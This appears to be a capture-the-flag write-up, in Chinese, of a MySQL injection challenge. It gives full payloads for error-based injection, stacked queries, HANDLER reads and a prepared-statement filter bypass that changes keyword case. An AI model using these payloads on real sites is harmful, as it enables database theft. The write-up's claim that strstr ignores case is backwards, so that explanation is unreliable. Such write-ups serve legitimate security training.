1、SQL注入的题目
首先通过随便输入几个数字判断出字段数为2,如下图:
2、order by
使用order by来检测也可得出第3个字段不存在。
3、字段回显判断:
可以通过字段回显看来判断是哪些关键字被过滤,然后对症下药选择合适的SQL注入的方法。有以下的回显情况可以判断,联合注入已经无法使用,因而我们要使用报错注入,或堆叠注入的方法。
4、报错、堆叠注入:
报错注入:报错注入是通过特殊函数错误使用并使其输出错误结果来获取信息的。简单点说,就是在可以进行sql注入的位置,调用特殊的函数执行,利用函数报错使其输出错误结果来获取数据库的相关信息。
堆叠注入:mysql数据库sql语句的默认结束符是以";"号结尾,在执行多条sql语句时就要使用结束符隔开,而堆叠注入其实就是通过结束符来执行多条sql语句。
(1)报错盲注,构建payload:
第一种payload:inurl?inject=1' or updatexml(1,concat(0x7e,(database())),0) or#(被过滤)
(2)第二种payload:1' or extractvalue(1,concat(0x7e,(database())),0) or#(同样被过滤)
5、堆叠注入:
使用show databases 构建payload:1'; show databases;# ,发现出现很多的表。
随便查看一下任意一个表:ctftraining,发现有一个“FLAG_TABLE”有点可疑。
查看一下“FLAG_TABLE”的字段:提示说明并没有lag。
接着查询其他的表,在查询supersqli表时出现如下结果:
查看一下1919810931114514这串数字:1' ; use supersqli; show columns from `1919810931114514` ; # ,发现flag。
6、查看flag,使用handler查询法。
关于handler查询法,可以参考以下两篇文章:
MYSQL神秘的HANDLER命令与实现方法_Mysql_脚本之家 (jb51.net)
mysql handler语句之一 - MySQL数据库 - 亿速云 (yisu.com)
利用handler构建payload:1';use supersqli;handler `1919810931114514` open as p;handler p read first;# ,得到flag。
7、
预编译绕过法:
先说说预编译吧,简单来说,预编译就是先set(定义)一个变量@a,然后prepare(准备)一个b从@a那获得,然后execute(执行) b,也就是变相地执行了@a的语句,当然我们还可以利用concat函数来联合@a里的内容,来绕过过滤,利用预编译绕过select 就能直接拿到flag了,构建payload:1';set @sql = concat('sele','ct flag from `1919810931114514`;');prepare stmt from @sql;execute stmt;#,结果如下:
发现set和prepare被strstr函数检测出来了。但是strstr函数在检测时不区分大小写,因而可以将payload更改为如下结果:
1';SeT @sql = concat('sele','ct flag from `1919810931114514`;');PrePare stmt from @sql;execute stmt;#
得到flag。